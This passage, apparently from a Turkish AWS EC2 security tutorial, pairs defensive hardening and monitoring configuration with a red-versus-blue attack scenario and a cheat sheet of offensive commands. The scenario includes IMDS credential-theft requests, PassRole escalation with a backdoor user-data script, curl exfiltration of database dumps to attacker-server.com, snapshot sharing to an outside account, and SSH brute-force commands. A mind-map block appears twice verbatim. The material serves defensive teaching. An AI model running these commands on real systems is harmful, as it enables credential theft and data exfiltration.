--http-put-response-hop-limit 1 \
--http-endpoint enabled
done
3.2. Systems Manager Entegrasyonu
Casey, SSH erişimi yerine AWS Systems Manager Session Manager kullanarak güvenli ve denetlenebilir erişim sağlar.
# Launch template oluştur
aws ec2 create-launch-template \
--launch-template-name secure-web-template \
--launch-template-data '{
"ImageId": "ami-0abcdef1234567890",
"InstanceType": "t3.medium",
"SecurityGroupIds": ["sg-12345678"],
"IamInstanceProfile": {"Name": "WebServerProfile"},
"MetadataOptions": {
"HttpTokens": "required",
"HttpPutResponseHopLimit": 1,
"HttpEndpoint": "enabled"
}
}'
# Session Manager erişimi için IAM politikası oluştur
aws iam create-policy \
--policy-name SessionManagerUserPolicy \
--policy-document '{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["ssm:StartSession"],
"Resource": ["arn:aws:ec2:*:*:instance/*"],
"Condition": {
"StringLike": {
"ssm:resourceTag/Environment": "${aws:PrincipalTag/AllowedEnvironments}"
}
}
}
]
}'
# Session Manager loglamasını yapılandır
aws ssm put-parameter \
--name "/aws/sessionmanager/config" \
--value '{
"s3BucketName": "company-session-logs",
"s3KeyPrefix": "session-logs/",
"s3EncryptionEnabled": true,
"cloudWatchLogGroupName": "SessionManagerLogs",
"cloudWatchEncryptionEnabled": true
}'
3.3. Otomatik Patch Yönetimi
Casey, AWS Systems Manager kullanarak kapsamlı bir patch yönetimi uygular.
# Özel patch baseline oluştur
aws ssm create-patch-baseline \
--name "CompanyLinuxBaseline" \
--operating-system "AMAZON_LINUX_2" \
--approval-rules '{
"PatchRules": [
{
"PatchFilterGroup": {
"PatchFilters": [{"Key": "CLASSIFICATION", "Values": ["Security", "Bugfix", "Critical"]}]
},
"ApprovalAfterDays": 7,
"EnableNonSecurity": false,
"ComplianceLevel": "CRITICAL"
}
]
}'
# Varsayılan olarak patch baseline kaydet
aws ssm register-default-patch-baseline \
--baseline-id pb-1234567890abcdef0
# Patchleme için bakım penceresi oluştur
aws ssm create-maintenance-window \
--name "ProductionPatchingWindow" \
--description "Production instance'ları için aylık patch" \
--duration 4 \
--cutoff 1 \
--schedule "cron(0 2 ? * SUN#2 *)" \
--schedule-timezone "UTC"
4. İzleme ve Tespit – Her Şeyi Gören Göz
Casey, tehditleri gerçek zamanlı tespit ve yanıtlamak için kapsamlı izleme uygular.
4.1. Amazon GuardDuty Konfigürasyonu
Casey, EC2 özel tehdit tespit yetenekleri ile GuardDuty’yi yapılandırır.
aws guardduty create-detector --enable --finding-publishing-frequency FIFTEEN_MINUTES
4.2. CloudTrail Gelişmiş Loglama
Casey, EC2 ile ilgili aktiviteler için API loglarını ve veri olaylarını etkinleştirir.
# CloudTrail ve veri olayları yapılandırması
aws cloudtrail create-trail --name CompanyEC2Trail --s3-bucket-name company-cloudtrail-logs --s3-key-prefix ec2-events/ --include-global-service-events --is-multi-region-trail --enable-log-file-validation
aws cloudtrail put-event-selectors --trail-name CompanyEC2Trail --event-selectors '[{"ReadWriteType": "All", "IncludeManagementEvents": true, "DataResources": [{"Type": "AWS::EC2::Snapshot", "Values": ["arn:aws:ec2:*"]}]}]'
4.3. Özel Güvenlik İzleme
Casey, EC2 özel tehditler için özel izleme çözümleri oluşturur.
import json
import boto3
import re
from datetime import datetime, timedelta
def lambda_handler(event, context):
records = event['Records']
for record in records:
s3_bucket = record['s3']['bucket']['name']
s3_key = record['s3']['object']['key']
s3_client = boto3.client('s3')
response = s3_client.get_object(Bucket=s3_bucket, Key=s3_key)
log_data = json.loads(response['Body'].read())
for log_record in log_data['Records']:
if is_suspicious_imds_access(log_record):
send_alert(log_record)
return {'statusCode': 200}
def is_suspicious_imds_access(record):
if record.get('eventName') == 'DescribeInstances':
user_identity = record.get('userIdentity', {})
if user_identity.get('type') == 'AssumedRole':
arn = user_identity.get('arn', '')
if re.search(r'/i-[0-9a-f]{8,17}$', arn):
source_ip = record.get('sourceIPAddress', '')
if not source_ip.startswith(('10.', '172.', '192.168.')):
return True
return False
def send_alert(record):
sns_client = boto3.client('sns')
message = {
'Alert': 'Şüpheli IMDS Aktivitesi Tespit Edildi',
'EventTime': record.get('eventTime'),
'SourceIP': record.get('sourceIPAddress'),
'UserIdentity': record.get('userIdentity'),
'EventName': record.get('eventName')
}
sns_client.publish(
TopicArn='arn:aws:sns:us-east-1:123456789012:security-alerts',
Subject='EC2 Güvenlik Uyarısı: Şüpheli IMDS Aktivitesi',
Message=json.dumps(message, indent=2)
)Kullanıcı Veri Değişiklikleri için EventBridge Kuralı:
# Create EventBridge rule for user data changes
aws events put-rule \
--name EC2UserDataModification \
--event-pattern '{
"source": ["aws.ec2"],
"detail-type": ["AWS API Call via CloudTrail"],
"detail": {
"eventSource": ["ec2.amazonaws.com"],
"eventName": ["ModifyInstanceAttribute"],
"requestParameters": {
"userData": {
"exists": true
}
}
}
}' \
--state ENABLED
# Add target to trigger alert
aws events put-targets \
--rule EC2UserDataModification \
--targets '[{
"Id": "1",
"Arn": "arn:aws:sns:us-east-1:123456789012:security-alerts",
"InputTransformer": {
"InputPathsMap": {
"instance": "$.detail.requestParameters.instanceId",
"user": "$.detail.userIdentity.arn",
"time": "$.detail.eventTime"
},
"InputTemplate": "Alert: EC2 User Data Modified\\nInstance: <instance>\\nUser: <user>\\nTime: <time>"
}
}]'
Casey’nin Stratejisi: “GuardDuty, CloudTrail ve özel izleme çözümleri aracılığıyla tüm EC2 etkinliklerinde sürekli görünürlüğü sürdürüyoruz. Her API çağrısı kaydedilir, her ağ bağlantısı izlenir ve anormal davranışlar anında uyarıları tetikler. Güvenlik operasyon merkezimiz, şüpheli EC2 etkinlikleri için gerçek zamanlı bildirimler alır.”
Karşılaşma: Ayrıntılı Bir Saldırı ve Savunma Senaryosu
Kurulum: TechCorp, birden fazla kullanılabilirlik bölgesinde EC2 örnekleri üzerinde çalışan üç katmanlı bir web uygulamasına, bir MySQL RDS arka ucuna ve kullanıcı yüklemeleri için S3 depolamasına sahiptir.
Morgan’ın Saldırı Kampanyası:
- 1. Gün - İlk Keşif: Morgan, Shodan taramasıyla TechCorp’un altyapısını keşfeder ve SSH’nin 0.0.0.0/0’a açık olduğu birkaç EC2 örneği belirler. Bir GitHub depo araması, bir CI/CD yapılandırma dosyasında yanlışlıkla işlenmiş AWS kimlik bilgilerini ortaya çıkarır.
# Morgan's reconnaissance commands
shodan search "TechCorp" port:22
git-secrets --scan-history https://github.com/techcorp/webapp-deployment
- 2. Gün - İlk Erişim: Toplanan AWS kimlik bilgilerini kullanarak Morgan, EC2 örneklerine erişim sağlar ve kimlik bilgisi toplama işlemine başlar.
# Configure compromised credentials
aws configure --profile techcorp-compromised
# Extract IMDS credentials from web server instance
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/WebServerRole
- 3. Gün - Ayrıcalık Yükseltme: Morgan,
WebServerRole‘üniam:PassRoleizinlerine sahip olduğunu keşfeder ve yükseltilmiş ayrıcalıklara sahip yeni bir örnek oluşturur.
# Launch instance with admin role
aws ec2 run-instances --profile techcorp-compromised \
--image-id ami-0abcdef1234567890 \
--instance-type t2.micro \
--iam-instance-profile Name=AdminRole \
--user-data file://backdoor-script.sh
# GuardDuty finding: InstanceCredentialExfiltration.OutsideAWS
# Severity: HIGH
# Instance: i-1234567890abcdef0
# External IP: 198.51.100.42
- Hedef Tamamlama: Morgan veritabanı yedeğini alır, S3’e yükler ve veritabanı dökümlerini sızdırır. Ayrıca bir saldırgan hesabına değerli EBS birimlerinin anlık görüntülerini kopyalar.
mysql -h prod-db.cluster-abc123.us-east-1.rds.amazonaws.com -u dbuser -p'harvested_password' \
-e "SELECT * FROM financial_records;" > financial_data.sql
# Exfiltrate database dumps
curl -X POST -F "data=@user_data.sql" https://attacker-server.com/db-exfil
curl -X POST -F "data=@financial_data.sql" https://attacker-server.com/db-exfil
# Create snapshots of valuable EBS volumes
aws ec2 create-snapshot --profile compromised \
--volume-id vol-1234567890abcdef0 \
--description "System backup - $(date)"
# Copy snapshots to attacker-controlled account
aws ec2 copy-snapshot --profile compromised \
--source-region us-east-1 \
--source-snapshot-id snap-1234567890abcdef0 \
--destination-region us-west-2 \
--description "Backup copy"
# Modify snapshot permissions for external access
aws ec2 modify-snapshot-attribute --profile compromised \
--snapshot-id snap-1234567890abcdef0 \
--attribute createVolumePermission \
--operation-type add \
--user-ids 999999999999
Casey’nin Savunma Yanıtı:
- 1. Gün - Otomatik Algılama: GuardDuty, dış bir IP adresinden tehlikeye atılmış kimlik bilgilerinin kullanımını hemen işaretler. Casey’nin otomatik yanıt sistemi, tehlikeye atılmış örneği karantinaya alır ve sızan kimlik bilgilerini iptal eder.
# Immediately revoke compromised credentials
aws iam update-access-key --access-key-id AKIAIOSFODNN7EXAMPLE --status Inactive
# Quarantine affected instances
aws ec2 create-security-group --group-name quarantine-sg --description "Emergency quarantine"
aws ec2 modify-instance-attribute --instance-id i-1234567890abcdef0 --groups sg-quarantine123
-
2. Gün - Olay Müdahalesi: CloudTrail analizi, yetkisiz API çağrılarının tam kapsamını ortaya çıkarır. Casey acil durum önlemleri uygular:
-
Kimlik Bilgisi Rotasyonu: Potansiyel olarak tehlikeye atılmış tüm kimlik bilgileri döndürülür.
-
Politika Sağlamlaştırma:
PassRoleizinleri kısıtlanır. -
Geliştirilmiş İzleme: Ek algılama kuralları devreye alınır.
-
Adli Analiz: CloudTrail kullanılarak tam zaman çizelgesi yeniden yapılandırması yapılır.
-
Öğrenilen Dersler:
-
Otomatik algılama ve yanıt, ihlalin süresini haftalar yerine saatlerle sınırladı.
-
Katmanlı güvenlik, ilk örnek ötesinde yanlamasına hareketi önledi.
-
Kapsamlı günlük tutma, tam adli analizi ve iyileştirmeyi mümkün kıldı.
AWS EC2 Güvenlik Hile Sayfası
Saldırı Komutları ve Teknikleri (Güvenlik Testi İçin)
| Eylem | Komut / Araç / Teknik |
|---|---|
| EC2 Örnek Keşfi | shodan search "org:Amazon" port:22 , aws ec2 describe-instances --region <region> |
| IMDS İstismarı (v1) | curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ |
| IMDS İstismarı (v2) | TOKEN=$(curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" http://169.254.169.254/latest/api/token) , curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/ |
| SSH Kaba Kuvvet | hydra -L users.txt -P passwords.txt ssh://target-ip , medusa -h target -U users.txt -P passwords.txt -M ssh |
| Kullanıcı Verisi Enjeksiyonu | aws ec2 modify-instance-attribute --instance-id <id> --user-data file://malicious.sh |
| PassRole İstismarı | aws ec2 run-instances --iam-instance-profile Name=HighPrivilegeRole |
| Seri Konsol Erişimi | aws ec2-instance-connect send-serial-console-ssh-public-key --instance-id <id> --ssh-public-key file://key.pub |
| Kimlik Bilgisi Toplama | find / -name "*.pem" -o -name "credentials" 2>/dev/null , env |
| Ağ Keşfi | aws ec2 describe-security-groups --query 'SecurityGroups[?IpPermissions[?IpRanges[?CidrIp==\'0.0.0.0/0']]]' |
Savunma Komutları ve Yapılandırmaları
| Eylem | Komut / Yapılandırma |
|---|---|
| IMDSv2’yi Etkinleştirme | aws ec2 modify-instance-metadata-options --instance-id <id> --http-tokens required --http-put-response-hop-limit 1 |
| Kısıtlayıcı Güvenlik Grubu Oluşturma | aws ec2 create-security-group --group-name secure-sg --description "Restrictive security group" |
| VPC Akış Kayıtlarını Etkinleştirme | aws ec2 create-flow-logs --resource-type VPC --resource-ids <vpc-id> --traffic-type ALL --log-destination-type s3 |
| GuardDuty’yi Etkinleştirme | aws guardduty create-detector --enable --finding-publishing-frequency FIFTEEN_MINUTES |
| Systems Manager’ı Yapılandırma | aws ssm create-association --name "AWS-UpdateSSMAgent" --targets Key=InstanceIds,Values=<instance-id> |
| Başlatma Şablonu Oluşturma | aws ec2 create-launch-template --launch-template-name secure-template --launch-template-data file://secure-config.json |
| CloudTrail Veri Olaylarını Etkinleştirme | aws cloudtrail put-event-selectors --trail-name <trail> --event-selectors file://data-events.json |
| Yama Yönetimi | aws ssm create-patch-baseline --name CustomBaseline --operating-system AMAZON_LINUX_2 |
| Session Manager Erişimi | aws ssm start-session --target <instance-id> |
| Örneği Karantinaya Alma | aws ec2 modify-instance-attribute --instance-id <id> --groups sg-quarantine |
root((AWS EC2 Güvenliği: Ana Hizmetler ve İlkeler))
Key_Services((Temel AWS Hizmetleri))
Key_Services --> GuardDuty[Amazon GuardDuty: Tehdit tespiti ve sürekli izleme]
Key_Services --> SystemsManager[AWS Systems Manager: Güvenli erişim ve yama yönetimi]
Key_Services --> Config[AWS Config: Konfigürasyon uyumluluk izleme]
Key_Services --> Inspector[Amazon Inspector: Zafiyet değerlendirme ve yönetim]
Key_Services --> CloudTrail[AWS CloudTrail: API etkinliği kaydı ve analizi]
Key_Services --> VPC[Amazon VPC: Ağ izolasyonu ve güvenlik]
Key_Services --> IAM[AWS IAM: Kimlik ve erişim yönetimi]
Key_Services --> EventBridge[Amazon EventBridge: Olay tabanlı güvenlik otomasyonu]
Key_Services --> SecurityHub[AWS Security Hub: Merkezi güvenlik bulguları yönetimi]
Defense_Principles((EC2 için Temel Güvenlik İlkeleri))
Defense_Principles --> Layered_Defense[Savunma Derinliği: Çok katmanlı güvenlik kontrolleri ile kapsamlı koruma]
Defense_Principles --> Least_Privilege[En Az Yetki: Kullanıcılara ve hizmetlere minimum gerekli izinleri ver]
Defense_Principles --> Continuous_Monitoring[Sürekli İzleme: Gerçek zamanlı tespit ve uyarı sistemi kur]
Defense_Principles --> Incident_Response[Olay Müdahalesi: Güvenlik olayları için otomatik yanıt prosedürlerini hazırla]
Defense_Principles --> Regular_Auditing[Düzenli Denetim: Periyodik güvenlik ve uyumluluk kontrolleri gerçekleştir]
Defense_Principles --> Patch_Management[Yama Yönetimi: Tüm instance’larda güncel güvenlik yamalarını uygula]
Defense_Principles --> Network_Segmentation[Ağ Segmentasyonu: İş yüklerini VPC ve güvenlik grupları ile izole et]
Defense_Principles --> Identity_Management[Kimlik Yönetimi: Sabit kodlanmış kimlik bilgileri yerine IAM rolleri kullan]
Defense_Principles --> Encryption_Everywhere[Her Yerde Şifreleme: Veri aktarımda ve depolamada şifrelenmeli]
Defense_Principles --> Immutable_Infrastructure[Değişmez Altyapı: Tutarlı ve güvenli dağıtımlar için Infrastructure as Code kullan]
Automation_and_Visibility((Otomasyon ve Görünürlük))
Automation_and_Visibility --> Automation[Otomasyon Şart: Manuel güvenlik süreçleri modern saldırı hızına yetişemez]
Automation_and_Visibility --> Layered_Defense_Work[Katmanlı Savunma Etkili: Tek bir güvenlik kontrolü yeterli değil]
Automation_and_Visibility --> Visibility[Her Şey Görünürlük: Kapsamlı kayıt ve izleme hızlı tespit ve yanıt sağlar]
Automation_and_Visibility --> Continuous_Improvement[Sürekli İyileştirme: Güvenlik bir varış noktası değil, sürekli gelişim süreci]
Automation_and_Visibility --> Security_by_Design[Güvenlik Tasarımla: Güvenliği altyapıya baştan inşa et]
Automation_and_Visibility --> Regular_Testing[Düzenli Test: Red team ve penetrasyon testleri ile savunmayı doğrula]
Automation_and_Visibility --> Team_Training[Takım Eğitimi: Güvenlik ve operasyon ekipleri saldırı ve savunma stratejilerini bilmeli]
Automation_and_Visibility --> Incident_Preparedness[Olay Hazırlığı: Saldırı olduğunda hazır ve test edilmiş prosedürler olmalı]
Remediation_and_Best_Practices((Olay Müdahalesi ve En İyi Uygulamalar))
Remediation_and_Best_Practices --> Credential_Rotation[Kredi bilgileri rotasyonu: Potansiyel olarak tehlikeli tüm kimlik bilgileri yenilenir]
Remediation_and_Best_Practices --> Policy_Hardening[Politika Sertleştirme: PassRole izinleri kısıtlanır]
Remediation_and_Best_Practices --> Enhanced_Monitoring[Gelişmiş İzleme: Ek tespit kuralları uygulanır]
Remediation_and_Best_Practices --> Forensic_Analysis[Adli Analiz: CloudTrail ile tam olay zaman çizelgesi oluşturulur]
Remediation_and_Best_Practices --> Automated_Response[Otomatik tespit ve yanıt, ihlali haftalar yerine saatlerle sınırlandırır]
Remediation_and_Best_Practices --> Layered_Security[Katmanlı güvenlik, lateral hareketleri önler]
Remediation_and_Best_Practices --> Logging[Detaylı kayıtlar, tam adli analiz ve iyileştirme sağlar]
Conclusion((Sonuç: Bulut Güvenliğinde Sonsuz Gözetim))
Conclusion --> Threat_Landscape[Tehdit Manzarası: Morgan’ın gelişmiş saldırı teknikleri, sürekli evrilen tehditleri gösterir]
Conclusion --> Defense_Strategy[Defans Stratejisi: Casey’nin AWS hizmetleri ve en iyi uygulamalara dayalı kapsamlı savunması]
Conclusion --> Key_Insights[Önemli Çıkarımlar: Hızlı tespit, hızlı yanıt ve sürekli adaptasyon gereklidir]
Conclusion --> Business_Impact[İş Etkisi: Bulut güvenliği sadece veri korumak değil, işinizi, itibarınızı ve müşteri güvenini korumaktır]
root((AWS EC2 Güvenliği: Ana Hizmetler ve İlkeler))
Key_Services((Temel AWS Hizmetleri))
Key_Services --> GuardDuty[Amazon GuardDuty: Tehdit tespiti ve sürekli izleme]
Key_Services --> SystemsManager[AWS Systems Manager: Güvenli erişim ve yama yönetimi]
Key_Services --> Config[AWS Config: Konfigürasyon uyumluluk izleme]
Key_Services --> Inspector[Amazon Inspector: Zafiyet değerlendirme ve yönetim]
Key_Services --> CloudTrail[AWS CloudTrail: API etkinliği kaydı ve analizi]
Key_Services --> VPC[Amazon VPC: Ağ izolasyonu ve güvenlik]
Key_Services --> IAM[AWS IAM: Kimlik ve erişim yönetimi]
Key_Services --> EventBridge[Amazon EventBridge: Olay tabanlı güvenlik otomasyonu]
Key_Services --> SecurityHub[AWS Security Hub: Merkezi güvenlik bulguları yönetimi]
Defense_Principles((EC2 için Temel Güvenlik İlkeleri))
Defense_Principles --> Layered_Defense[Savunma Derinliği: Çok katmanlı güvenlik kontrolleri ile kapsamlı koruma]
Defense_Principles --> Least_Privilege[En Az Yetki: Kullanıcılara ve hizmetlere minimum gerekli izinleri ver]
Defense_Principles --> Continuous_Monitoring[Sürekli İzleme: Gerçek zamanlı tespit ve uyarı sistemi kur]
Defense_Principles --> Incident_Response[Olay Müdahalesi: Güvenlik olayları için otomatik yanıt prosedürlerini hazırla]
Defense_Principles --> Regular_Auditing[Düzenli Denetim: Periyodik güvenlik ve uyumluluk kontrolleri gerçekleştir]
Defense_Principles --> Patch_Management[Yama Yönetimi: Tüm instance’larda güncel güvenlik yamalarını uygula]
Defense_Principles --> Network_Segmentation[Ağ Segmentasyonu: İş yüklerini VPC ve güvenlik grupları ile izole et]
Defense_Principles --> Identity_Management[Kimlik Yönetimi: Sabit kodlanmış kimlik bilgileri yerine IAM rolleri kullan]
Defense_Principles --> Encryption_Everywhere[Her Yerde Şifreleme: Veri aktarımda ve depolamada şifrelenmeli]
Defense_Principles --> Immutable_Infrastructure[Değişmez Altyapı: Tutarlı ve güvenli dağıtımlar için Infrastructure as Code kullan]
Automation_and_Visibility((Otomasyon ve Görünürlük))
Automation_and_Visibility --> Automation[Otomasyon Şart: Manuel güvenlik süreçleri modern saldırı hızına yetişemez]
Automation_and_Visibility --> Layered_Defense_Work[Katmanlı Savunma Etkili: Tek bir güvenlik kontrolü yeterli değil]
Automation_and_Visibility --> Visibility[Her Şey Görünürlük: Kapsamlı kayıt ve izleme hızlı tespit ve yanıt sağlar]
Automation_and_Visibility --> Continuous_Improvement[Sürekli İyileştirme: Güvenlik bir varış noktası değil, sürekli gelişim süreci]
Automation_and_Visibility --> Security_by_Design[Güvenlik Tasarımla: Güvenliği altyapıya baştan inşa et]
Automation_and_Visibility --> Regular_Testing[Düzenli Test: Red team ve penetrasyon testleri ile savunmayı doğrula]
Automation_and_Visibility --> Team_Training[Takım Eğitimi: Güvenlik ve operasyon ekipleri saldırı ve savunma stratejilerini bilmeli]
Automation_and_Visibility --> Incident_Preparedness[Olay Hazırlığı: Saldırı olduğunda hazır ve test edilmiş prosedürler olmalı]
Remediation_and_Best_Practices((Olay Müdahalesi ve En İyi Uygulamalar))
Remediation_and_Best_Practices --> Credential_Rotation[Kredi bilgileri rotasyonu: Potansiyel olarak tehlikeli tüm kimlik bilgileri yenilenir]
Remediation_and_Best_Practices --> Policy_Hardening[Politika Sertleştirme: PassRole izinleri kısıtlanır]
Remediation_and_Best_Practices --> Enhanced_Monitoring[Gelişmiş İzleme: Ek tespit kuralları uygulanır]
Remediation_and_Best_Practices --> Forensic_Analysis[Adli Analiz: CloudTrail ile tam olay zaman çizelgesi oluşturulur]
Remediation_and_Best_Practices --> Automated_Response[Otomatik tespit ve yanıt, ihlali haftalar yerine saatlerle sınırlandırır]
Remediation_and_Best_Practices --> Layered_Security[Katmanlı güvenlik, lateral hareketleri önler]
Remediation_and_Best_Practices --> Logging[Detaylı kayıtlar, tam adli analiz ve iyileştirme sağlar]
Conclusion((Sonuç: Bulut Güvenliğinde Sonsuz Gözetim))
Conclusion --> Threat_Landscape[Tehdit Manzarası: Morgan’ın gelişmiş saldırı teknikleri, sürekli evrilen tehditleri gösterir]
Conclusion --> Defense_Strategy[Defans Stratejisi: Casey’nin AWS hizmetleri ve en iyi uygulamalara dayalı kapsamlı savunması]
Conclusion --> Key_Insights[Önemli Çıkarımlar: Hızlı tespit, hızlı yanıt ve sürekli adaptasyon gereklidir]
Conclusion --> Business_Impact[İş Etkisi: Bulut güvenliği sadece veri korumak değil, işinizi, itibarınızı ve müşteri güvenini korumaktır]| Terim | Açıklama |
|---|---|
| EC2 (Elastic Compute Cloud) | AWS üzerinde sanal sunucular (instance) çalıştırmayı sağlayan temel hizmettir. Kullanıcılar, CPU, bellek ve ağ yapılandırmalarını özelleştirebilir. |
| Instance | AWS’de çalışan sanal makinedir. EC2 servisinin bir örneği olarak düşünülebilir. Her instance bir kimliğe, IP adresine ve bağlı güvenlik yapılandırmalarına sahiptir. |
| Security Group | EC2 örnekleri için gelen (ingress) ve giden (egress) trafiği kontrol eden sanal güvenlik duvarıdır. Stateful yapıdadır. |
| VPC (Virtual Private Cloud) | Kullanıcının AWS’de izole bir ağ ortamı oluşturmasını sağlar. IP adres aralıkları, alt ağlar (subnet), yönlendirme tabloları ve güvenlik grupları içerir. |
| IAM (Identity and Access Management) | AWS kaynaklarına erişim ve kimlik yönetimini sağlayan hizmettir. Kullanıcı, rol ve politika bazlı erişim kontrolü sunar. |
| IAM Role | AWS servisleri veya kullanıcıları için geçici erişim kimlikleri tanımlayan güvenli kimlik yapısıdır. EC2 gibi servislerde genellikle API erişimi için kullanılır. |
| PassRole | Bir rolün başka bir servise (ör. EC2’ye) aktarılmasına izin veren eylemdir. Yanlış yapılandırıldığında ayrıcalık yükseltme (privilege escalation) vektörüdür. |
| User Data Script | EC2 örneği ilk kez başlatılırken otomatik olarak çalıştırılan betiktir. Yapılandırma ve kurulum otomasyonu sağlar, ancak kötüye kullanılabilir. |
| IMDS (Instance Metadata Service) | EC2 örneği hakkındaki bilgileri (ör. geçici IAM kimlik bilgileri) sağlayan yerel servistir. Yanlış yapılandırılırsa SSRF saldırılarıyla sömürülebilir. |
| IMDSv2 | IMDS’nin token tabanlı, güvenliği artırılmış versiyonudur. SSRF tabanlı kimlik bilgisi hırsızlığını önler. |
| EBS (Elastic Block Store) | EC2 örnekleri için kalıcı blok depolama alanı sağlar. Disk gibi davranır. Şifreleme yapılmadığında veri sızıntısı riski taşır. |
| Snapshot | EBS disklerinin yedeklenmiş anlık görüntüsüdür. Genellikle veri kurtarma için kullanılır, ancak yanlışlıkla public yapılırsa veri sızıntısına yol açabilir. |
| CloudTrail | AWS hesaplarında gerçekleşen API çağrılarını kaydeder. Adli analiz ve olay izleme için kullanılır. |
| GuardDuty | AWS ortamında tehdit tespiti yapan, anomali analiziyle şüpheli aktiviteleri raporlayan güvenlik servisidir. |
| Systems Manager (SSM) | EC2 örneklerini uzaktan yönetmeye, komut çalıştırmaya, yama uygulamaya ve oturum açmadan erişim sağlamaya yarayan yönetim aracıdır. |
| VPC Flow Logs | Ağ trafiği meta verilerini kaydeder. Hangi IP’den hangi porta ne zaman bağlantı geldiği analiz edilerek tehdit tespiti yapılabilir. |
| CloudWatch | AWS kaynaklarını izleyen ve metrik, log, alarm yönetimi sağlayan gözlem aracıdır. |
| Security Hub | AWS güvenlik servislerinden gelen bulguları tek bir yerde toplayan merkezi analiz ve uyumluluk aracıdır. |
| Macie | S3 depolama alanındaki hassas verileri (PII, kredi kartı bilgisi vb.) makine öğrenimi ile tespit eder. |
| EventBridge | AWS hizmetleri arasında olay tabanlı otomasyon sağlar. Güvenlik olaylarını tetiklemek için kullanılır. |
| Privilege Escalation (Yetki Yükseltme) | Saldırganın mevcut erişimini kullanarak daha yüksek yetkilere ulaşmasıdır. IAM yanlış yapılandırmalarıyla sıklıkla mümkündür. |
| Lateral Movement (Yatay İlerleme) | Bir saldırganın elde ettiği erişimi kullanarak diğer sistem veya hizmetlere yayılmasıdır. |
| Persistence (Kalıcılık) | Saldırganın bulut ortamında erişimini sürdürmek için arka kapı (backdoor) veya gizli hesaplar oluşturmasıdır. |
| Data Exfiltration (Veri Sızdırma) | Yetkisiz veri çıkışı işlemidir. S3, RDS veya snapshot yoluyla yapılabilir. |
| SSRF (Server-Side Request Forgery) | Sunucunun dışarıya veya dahili ağa istek göndermesi için manipüle edilmesidir. IMDS saldırılarında sıkça görülür. |
| S3 (Simple Storage Service) | AWS’nin nesne tabanlı depolama servisidir. Dosyalar “bucket” içinde saklanır. Yanlış yapılandırıldığında veri sızıntısına neden olabilir. |
| Least Privilege (En Az Yetki İlkesi) | Her kullanıcıya yalnızca işini yapması için gereken minimum izinlerin verilmesi prensibidir. Güvenli IAM tasarımı için temel ilkedir. |
| Infrastructure as Code (IaC) | Altyapı bileşenlerinin (ör. EC2, S3, IAM) kod olarak yönetilmesini sağlar. Terraform, CloudFormation gibi araçlar kullanılır. |
| Blue Team / Red Team | Blue Team savunma yapan, Red Team ise saldırı simülasyonu gerçekleştiren güvenlik ekipleridir. Bu yazıda Casey (Blue Team) ve Morgan (Red Team) rolleriyle temsil edilir. |